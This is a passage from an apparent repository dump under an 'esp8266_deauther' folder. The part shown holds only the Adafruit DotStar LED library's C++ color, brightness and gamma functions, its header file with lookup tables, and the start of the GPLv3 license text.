= (uint8_t)c;\n  }\n}\n\n/*!\n  @brief   Fill all or part of the DotStar strip with a color.\n  @param   c      32-bit color value. Most significant byte is 0, second\n                  is red, then green, and least significant byte is blue.\n                  e.g. 0x00RRGGBB. If all arguments are unspecified, this\n                  will be 0 (off).\n  @param   first  Index of first pixel to fill, starting from 0. Must be\n                  in-bounds, no clipping is performed. 0 if unspecified.\n  @param   count  Number of pixels to fill, as a positive value. Passing\n                  0 or leaving unspecified will fill to end of strip.\n*/\nvoid Adafruit_DotStar::fill(uint32_t c, uint16_t first, uint16_t count) {\n  uint16_t i, end;\n\n  if (first >= numLEDs) {\n    return; // If first LED is past end of strip, nothing to do\n  }\n\n  // Calculate the index ONE AFTER the last pixel to fill\n  if (count == 0) {\n    // Fill to end of strip\n    end = numLEDs;\n  } else {\n    // Ensure that the loop won't go past the last pixel\n    end = first + count;\n    if (end > numLEDs)\n      end = numLEDs;\n  }\n\n  for (i = first; i < end; i++) {\n    this->setPixelColor(i, c);\n  }\n}\n\n/*!\n  @brief   Convert hue, saturation and value into a packed 32-bit RGB color\n           that can be passed to setPixelColor() or other RGB-compatible\n           functions.\n  @param   hue  An unsigned 16-bit value, 0 to 65535, representing one full\n                loop of the color wheel, which allows 16-bit hues to \"roll\n                over\" while still doing the expected thing (and allowing\n                more precision than the wheel() function that was common to\n                prior DotStar and NeoPixel examples).\n  @param   sat  Saturation, 8-bit value, 0 (min or pure grayscale) to 255\n                (max or pure hue). Default of 255 if unspecified.\n  @param   val  Value (brightness), 8-bit value, 0 (min / black / off) to\n                255 (max or full brightness). Default of 255 if unspecified.\n  @return  Packed 32-bit RGB color. Result is linearly but not perceptually\n           correct, so you may want to pass the result through the gamma32()\n           function (or your own gamma-correction operation) else colors may\n           appear washed out. This is not done automatically by this\n           function because coders may desire a more refined gamma-\n           correction function than the simplified one-size-fits-all\n           operation of gamma32(). Diffusing the LEDs also really seems to\n           help when using low-saturation colors.\n*/\nuint32_t Adafruit_DotStar::ColorHSV(uint16_t hue, uint8_t sat, uint8_t val) {\n\n  uint8_t r, g, b;\n\n  // Remap 0-65535 to 0-1529. Pure red is CENTERED on the 64K rollover;\n  // 0 is not the start of pure red, but the midpoint...a few values above\n  // zero and a few below 65536 all yield pure red (similarly, 32768 is the\n  // midpoint, not start, of pure cyan). The 8-bit RGB hexcone (256 values\n  // each for red, green, blue) really only allows for 1530 distinct hues\n  // (not 1536, more on that below), but the full unsigned 16-bit type was\n  // chosen for hue so that one's code can easily handle a contiguous color\n  // wheel by allowing hue to roll over in either direction.\n  hue = (hue * 1530L + 32768) / 65536;\n  // Because red is centered on the rollover point (the +32768 above,\n  // essentially a fixed-point +0.5), the above actually yields 0 to 1530,\n  // where 0 and 1530 would yield the same thing. Rather than apply a\n  // costly modulo operator, 1530 is handled as a special case below.\n\n  // So you'd think that the color \"hexcone\" (the thing that ramps from\n  // pure red, to pure yellow, to pure green and so forth back to red,\n  // yielding six slices), and with each color component having 256\n  // possible values (0-255), might have 1536 possible items (6*256),\n  // but in reality there's 1530. This is because the last element in\n  // each 256-element slice is equal to the first element of the next\n  // slice, and keeping those in there this would create small\n  // discontinuities in the color wheel. So the last element of each\n  // slice is dropped...we regard only elements 0-254, with item 255\n  // being picked up as element 0 of the next slice. Like this:\n  // Red to not-quite-pure-yellow is:        255,   0, 0 to 255, 254,   0\n  // Pure yellow to not-quite-pure-green is: 255, 255, 0 to   1, 255,   0\n  // Pure green to not-quite-pure-cyan is:     0, 255, 0 to   0, 255, 254\n  // and so forth. Hence, 1530 distinct hues (0 to 1529), and hence why\n  // the constants below are not the multiples of 256 you might expect.\n\n  // Convert hue to R,G,B (nested ifs faster than divide+mod+switch):\n  if (hue < 510) { // Red to Green-1\n    b = 0;\n    if (hue < 255) { //   Red to Yellow-1\n      r = 255;\n      g = hue;       //     g = 0 to 254\n    } else {         //   Yellow to Green-1\n      r = 510 - hue; //     r = 255 to 1\n      g = 255;\n    }\n  } else if (hue < 1020) { // Green to Blue-1\n    r = 0;\n    if (hue < 765) { //   Green to Cyan-1\n      g = 255;\n      b = hue - 510;  //     b = 0 to 254\n    } else {          //   Cyan to Blue-1\n      g = 1020 - hue; //     g = 255 to 1\n      b = 255;\n    }\n  } else if (hue < 1530) { // Blue to Red-1\n    g = 0;\n    if (hue < 1275) { //   Blue to Magenta-1\n      r = hue - 1020; //     r = 0 to 254\n      b = 255;\n    } else { //   Magenta to Red-1\n      r = 255;\n      b = 1530 - hue; //     b = 255 to 1\n    }\n  } else { // Last 0.5 Red (quicker than % operator)\n    r = 255;\n    g = b = 0;\n  }\n\n  // Apply saturation and value to R,G,B, pack into 32-bit result:\n  uint32_t v1 = 1 + val;  // 1 to 256; allows >>8 instead of /255\n  uint16_t s1 = 1 + sat;  // 1 to 256; same reason\n  uint8_t s2 = 255 - sat; // 255 to 0\n  return ((((((r * s1) >> 8) + s2) * v1) & 0xff00) << 8) |\n         (((((g * s1) >> 8) + s2) * v1) & 0xff00) |\n         (((((b * s1) >> 8) + s2) * v1) >> 8);\n}\n\n/*!\n  @brief   Query the color of a previously-set pixel.\n  @param   n  Index of pixel to read (0 = first).\n  @return  'Packed' 32-bit RGB value. Most significant byte is 0, second is\n           is red, then green, and least significant byte is blue.\n*/\nuint32_t Adafruit_DotStar::getPixelColor(uint16_t n) const {\n  if (n >= numLEDs)\n    return 0;\n  uint8_t *p = &pixels[n * 3];\n  return ((uint32_t)p[rOffset] << 16) | ((uint32_t)p[gOffset] << 8) |\n         (uint32_t)p[bOffset];\n}\n\n/*!\n  @brief   Adjust output brightness. Does not immediately affect what's\n           currently displayed on the LEDs. The next call to show() will\n           refresh the LEDs at this level.\n  @param   b  Brightness setting, 0=minimum (off), 255=brightest.\n  @note    For various reasons I think brightness is better handled in\n           one's sketch, but it's here for parity with the NeoPixel\n           library. Good news is that brightness setting in this library\n           is 'non destructive' -- it's applied as color data is being\n           issued to the strip, not during setPixelColor(), and also\n           means that getPixelColor() returns the exact value originally\n           stored.\n*/\nvoid Adafruit_DotStar::setBrightness(uint8_t b) {\n  // Stored brightness value is different than what's passed. This\n  // optimizes the actual scaling math later, allowing a fast 8x8-bit\n  // multiply and taking the MSB. 'brightness' is a uint8_t, adding 1\n  // here may (intentionally) roll over...so 0 = max brightness (color\n  // values are interpreted literally; no scaling), 1 = min brightness\n  // (off), 255 = just below max brightness.\n  brightness = b + 1;\n}\n\n/*!\n  @brief   Retrieve the last-set brightness value for the strip.\n  @return  Brightness value: 0 = minimum (off), 255 = maximum.\n*/\nuint8_t Adafruit_DotStar::getBrightness(void) const {\n  return brightness - 1; // Reverse above operation\n}\n\n/*!\n  @brief   A gamma-correction function for 32-bit packed RGB colors.\n           Makes color transitions appear more perceptially correct.\n  @param   x  32-bit packed RGB color.\n  @return  Gamma-adjusted packed color, can then be passed in one of the\n           setPixelColor() functions. Like gamma8(), this uses a fixed\n           gamma correction exponent of 2.6, which seems reasonably okay\n           for average DotStars in average tasks. If you need finer\n           control you'll need to provide your own gamma-correction\n           function instead.\n*/\nuint32_t Adafruit_DotStar::gamma32(uint32_t x) {\n  uint8_t *y = (uint8_t *)&x;\n  // All four bytes of a 32-bit value are filtered to avoid a bunch of\n  // shifting and masking that would be necessary for properly handling\n  // different endianisms (and each byte is a fairly trivial operation,\n  // so it might not even be wasting cycles vs a check and branch.\n  // In theory this might cause trouble *if* someone's storing information\n  // in the unused most significant byte of an RGB value, but this seems\n  // exceedingly rare and if it's encountered in reality they can mask\n  // values going in or coming out.\n  for (uint8_t i = 0; i < 4; i++)\n    y[i] = gamma8(y[i]);\n  return x; // Packed 32-bit return\n}\n"
  },
  {
    "path": "esp8266_deauther/src/Adafruit_DotStar-1.1.4/Adafruit_DotStar.h",
    "content": "/*!\n * @file Adafruit_DotStar.h\n *\n * This file is part of the Adafruit_DotStar library.\n *\n * Adafruit_DotStar is free software: you can redistribute it and/or\n * modify it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * Adafruit_DotStar is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with DotStar. If not, see <http://www.gnu.org/licenses/>.\n *\n */\n\n#ifndef _ADAFRUIT_DOT_STAR_H_\n#define _ADAFRUIT_DOT_STAR_H_\n\n#if (ARDUINO >= 100)\n#include <Arduino.h>\n#else\n#include <WProgram.h>\n#include <pins_arduino.h>\n#endif\n\n// Color-order flag for LED pixels (optional extra parameter to constructor):\n// Bits 0,1 = R index (0-2), bits 2,3 = G index, bits 4,5 = B index\n#define DOTSTAR_RGB (0 | (1 << 2) | (2 << 4)) ///< Transmit as R,G,B\n#define DOTSTAR_RBG (0 | (2 << 2) | (1 << 4)) ///< Transmit as R,B,G\n#define DOTSTAR_GRB (1 | (0 << 2) | (2 << 4)) ///< Transmit as G,R,B\n#define DOTSTAR_GBR (2 | (0 << 2) | (1 << 4)) ///< Transmit as G,B,R\n#define DOTSTAR_BRG (1 | (2 << 2) | (0 << 4)) ///< Transmit as B,R,G\n#define DOTSTAR_BGR (2 | (1 << 2) | (0 << 4)) ///< Transmit as B,G,R\n#define DOTSTAR_MONO 0 ///< Single-color strip WIP DO NOT USE, use RGB for now\n\n// These two tables are declared outside the Adafruit_DotStar class\n// because some boards may require oldschool compilers that don't\n// handle the C++11 constexpr keyword.\n\n/* A PROGMEM (flash mem) table containing 8-bit unsigned sine wave (0-255).\n   Copy & paste this snippet into a Python REPL to regenerate:\nimport math\nfor x in range(256):\n    print(\"{:3},\".format(int((math.sin(x/128.0*math.pi)+1.0)*127.5+0.5))),\n    if x&15 == 15: print\n*/\nstatic const uint8_t PROGMEM _DotStarSineTable[256] = {\n    128, 131, 134, 137, 140, 143, 146, 149, 152, 155, 158, 162, 165, 167, 170,\n    173, 176, 179, 182, 185, 188, 190, 193, 196, 198, 201, 203, 206, 208, 211,\n    213, 215, 218, 220, 222, 224, 226, 228, 230, 232, 234, 235, 237, 238, 240,\n    241, 243, 244, 245, 246, 248, 249, 250, 250, 251, 252, 253, 253, 254, 254,\n    254, 255, 255, 255, 255, 255, 255, 255, 254, 254, 254, 253, 253, 252, 251,\n    250, 250, 249, 248, 246, 245, 244, 243, 241, 240, 238, 237, 235, 234, 232,\n    230, 228, 226, 224, 222, 220, 218, 215, 213, 211, 208, 206, 203, 201, 198,\n    196, 193, 190, 188, 185, 182, 179, 176, 173, 170, 167, 165, 162, 158, 155,\n    152, 149, 146, 143, 140, 137, 134, 131, 128, 124, 121, 118, 115, 112, 109,\n    106, 103, 100, 97,  93,  90,  88,  85,  82,  79,  76,  73,  70,  67,  65,\n    62,  59,  57,  54,  52,  49,  47,  44,  42,  40,  37,  35,  33,  31,  29,\n    27,  25,  23,  21,  20,  18,  17,  15,  14,  12,  11,  10,  9,   7,   6,\n    5,   5,   4,   3,   2,   2,   1,   1,   1,   0,   0,   0,   0,   0,   0,\n    0,   1,   1,   1,   2,   2,   3,   4,   5,   5,   6,   7,   9,   10,  11,\n    12,  14,  15,  17,  18,  20,  21,  23,  25,  27,  29,  31,  33,  35,  37,\n    40,  42,  44,  47,  49,  52,  54,  57,  59,  62,  65,  67,  70,  73,  76,\n    79,  82,  85,  88,  90,  93,  97,  100, 103, 106, 109, 112, 115, 118, 121,\n    124};\n\n/* Similar to above, but for an 8-bit gamma-correction table.\n   Copy & paste this snippet into a Python REPL to regenerate:\nimport math\ngamma=2.6\nfor x in range(256):\n    print(\"{:3},\".format(int(math.pow((x)/255.0,gamma)*255.0+0.5))),\n    if x&15 == 15: print\n*/\nstatic const uint8_t PROGMEM _DotStarGammaTable[256] = {\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   0,   0,   0,   0,   0,   0,\n    0,   0,   0,   0,   0,   0,   0,   0,   0,   1,   1,   1,   1,   1,   1,\n    1,   1,   1,   1,   1,   1,   2,   2,   2,   2,   2,   2,   2,   2,   3,\n    3,   3,   3,   3,   3,   4,   4,   4,   4,   5,   5,   5,   5,   5,   6,\n    6,   6,   6,   7,   7,   7,   8,   8,   8,   9,   9,   9,   10,  10,  10,\n    11,  11,  11,  12,  12,  13,  13,  13,  14,  14,  15,  15,  16,  16,  17,\n    17,  18,  18,  19,  19,  20,  20,  21,  21,  22,  22,  23,  24,  24,  25,\n    25,  26,  27,  27,  28,  29,  29,  30,  31,  31,  32,  33,  34,  34,  35,\n    36,  37,  38,  38,  39,  40,  41,  42,  42,  43,  44,  45,  46,  47,  48,\n    49,  50,  51,  52,  53,  54,  55,  56,  57,  58,  59,  60,  61,  62,  63,\n    64,  65,  66,  68,  69,  70,  71,  72,  73,  75,  76,  77,  78,  80,  81,\n    82,  84,  85,  86,  88,  89,  90,  92,  93,  94,  96,  97,  99,  100, 102,\n    103, 105, 106, 108, 109, 111, 112, 114, 115, 117, 119, 120, 122, 124, 125,\n    127, 129, 130, 132, 134, 136, 137, 139, 141, 143, 145, 146, 148, 150, 152,\n    154, 156, 158, 160, 162, 164, 166, 168, 170, 172, 174, 176, 178, 180, 182,\n    184, 186, 188, 191, 193, 195, 197, 199, 202, 204, 206, 209, 211, 213, 215,\n    218, 220, 223, 225, 227, 230, 232, 235, 237, 240, 242, 245, 247, 250, 252,\n    255};\n\n/*!\n  @brief  Class that stores state and functions for interacting with\n          Adafruit DotStars and compatible devices.\n*/\nclass Adafruit_DotStar {\n\npublic:\n  Adafruit_DotStar(uint16_t n, uint8_t o = DOTSTAR_BRG);\n  Adafruit_DotStar(uint16_t n, uint8_t d, uint8_t c, uint8_t o = DOTSTAR_BRG);\n  ~Adafruit_DotStar(void);\n\n  void begin(void);\n  void show(void);\n  void setPixelColor(uint16_t n, uint32_t c);\n  void setPixelColor(uint16_t n, uint8_t r, uint8_t g, uint8_t b);\n  void fill(uint32_t c = 0, uint16_t first = 0, uint16_t count = 0);\n  void setBrightness(uint8_t);\n  void clear();\n  void updateLength(uint16_t n);\n  void updatePins(void);\n  void updatePins(uint8_t d, uint8_t c);\n  /*!\n    @brief   Get a pointer directly to the DotStar data buffer in RAM.\n             Pixel data is stored in a device-native format (a la the\n             DOTSTAR_* constants) and is not translated here. Applications\n             that access this buffer will need to be aware of the specific\n             data format and handle colors appropriately.\n    @return  Pointer to DotStar buffer (uint8_t* array).\n    @note    This is for high-performance applications where calling\n             setPixelColor() on every single pixel would be too slow (e.g.\n             POV or light-painting projects). There is no bounds checking\n             on the array, creating tremendous potential for mayhem if one\n             writes past the ends of the buffer. Great power, great\n             responsibility and all that.\n  */\n  uint8_t *getPixels(void) const { return pixels; };\n  uint8_t getBrightness(void) const;\n  /*!\n    @brief   Return the number of pixels in an Adafruit_DotStar strip object.\n    @return  Pixel count (0 if not set).\n  */\n  uint16_t numPixels(void) const { return numLEDs; };\n  uint32_t getPixelColor(uint16_t n) const;\n  /*!\n    @brief   An 8-bit integer sine wave function, not directly compatible\n             with standard trigonometric units like radians or degrees.\n    @param   x  Input angle, 0-255; 256 would loop back to zero, completing\n                the circle (equivalent to 360 degrees or 2 pi radians).\n                One can therefore use an unsigned 8-bit variable and simply\n                add or subtract, allowing it to overflow/underflow and it\n                still does the expected contiguous thing.\n    @return  Sine result, 0 to 255, or -128 to +127 if type-converted to\n             a signed int8_t, but you'll most likely want unsigned as this\n             output is often used for pixel brightness in animation effects.\n  */\n  static uint8_t sine8(uint8_t x) {\n    return pgm_read_byte(&_DotStarSineTable[x]); // 0-255 in, 0-255 out\n  }\n  /*!\n    @brief   An 8-bit gamma-correction function for basic pixel brightness\n             adjustment. Makes color transitions appear more perceptially\n             correct.\n    @param   x  Input brightness, 0 (minimum or off/black) to 255 (maximum).\n    @return  Gamma-adjusted brightness, can then be passed to one of the\n             setPixelColor() functions. This uses a fixed gamma correction\n             exponent of 2.6, which seems reasonably okay for average\n             DotStars in average tasks. If you need finer control you'll\n             need to provide your own gamma-correction function instead.\n  */\n  static uint8_t gamma8(uint8_t x) {\n    return pgm_read_byte(&_DotStarGammaTable[x]); // 0-255 in, 0-255 out\n  }\n  /*!\n    @brief   Convert separate red, green and blue values into a single\n             \"packed\" 32-bit RGB color.\n    @param   r  Red brightness, 0 to 255.\n    @param   g  Green brightness, 0 to 255.\n    @param   b  Blue brightness, 0 to 255.\n    @return  32-bit packed RGB value, which can then be assigned to a\n             variable for later use or passed to the setPixelColor()\n             function. Packed RGB format is predictable, regardless of\n             LED strand color order.\n  */\n  static uint32_t Color(uint8_t r, uint8_t g, uint8_t b) {\n    return ((uint32_t)r << 16) | ((uint32_t)g << 8) | b;\n  }\n  static uint32_t ColorHSV(uint16_t hue, uint8_t sat = 255, uint8_t val = 255);\n  static uint32_t gamma32(uint32_t x);\n\nprivate:\n  uint16_t numLEDs;   ///< Number of pixels\n  uint8_t dataPin;    ///< If soft SPI, data pin #\n  uint8_t clockPin;   ///< If soft SPI, clock pin #\n  uint8_t brightness; ///< Global brightness setting\n  uint8_t *pixels;    ///< LED RGB values (3 bytes ea.)\n  uint8_t rOffset;    ///< Index of red in 3-byte pixel\n  uint8_t gOffset;    ///< Index of green byte\n  uint8_t bOffset;    ///< Index of blue byte\n#ifdef __AVR__\n  uint8_t dataPinMask;         ///< If soft SPI, data pin bitmask\n  uint8_t clockPinMask;        ///< If soft SPI, clock pin bitmask\n  volatile uint8_t *dataPort;  ///< If soft SPI, data PORT\n  volatile uint8_t *clockPort; ///< If soft SPI, clock PORT\n#endif\n  void hw_spi_init(void);     ///< Start hardware SPI\n  void hw_spi_end(void);      ///< Stop hardware SPI\n  void sw_spi_init(void);     ///< Start bitbang SPI\n  void sw_spi_out(uint8_t n); ///< Bitbang SPI write\n  void sw_spi_end(void);      ///< Stop bitbang SPI\n};\n\n#endif // _ADAFRUIT_DOT_STAR_H_\n"
  },
  {
    "path": "esp8266_deauther/src/Adafruit_DotStar-1.1.4/license.txt",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the 